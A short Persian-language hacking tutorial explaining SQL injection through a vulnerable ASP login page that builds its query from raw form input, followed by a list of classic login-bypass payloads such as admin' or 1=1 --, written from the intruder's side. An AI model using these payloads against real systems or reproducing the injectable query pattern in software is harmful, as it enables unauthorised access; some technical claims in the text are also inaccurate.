مقاله ماملي نيست ! اما به زودي PDF هاي كاملي رو براتون قرار ميدم ! اينو بخونيد يه آمادگي ذهني داشته باشيد تا اصلي ها بياد !
SQL یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (IIS) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.
واحد اجرايی در SQL ها Query ها هستند.
Query چیست؟
مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.
کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.
Login.html
<html>
<body>
<form method=get action="login_page.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>
login_page.asp
<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>
همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:
1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.
2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.
اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.
Username : admin
Password : admin’ or a
Username : admin
Password : admin’ or a=a --
حال چرا اين اتفاق می افتد؟
در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.
نمونه های ديگری از مثال بالا:
admin" or "a"="a
admin" or 1=1 --
admin' or 1=1 --
admin' or 'a'='a
admin') or ('a'='a
admin") or ("a"="a
حال اگر هیچ کدام از این روشها کار نکرد چکار کنيم؟
ما وقتی می توانیم به طور موفقیت آمیز به یک سیستم نفوذ کنیم که دقیقا از نحوه طراحی بانک اطلاعاتی آن مطلع باشيم.
قسمت اصلی همين جاست. اگر خدا خواست در مقالات بعد به اين موضوع میپردازيم.
by : b_ice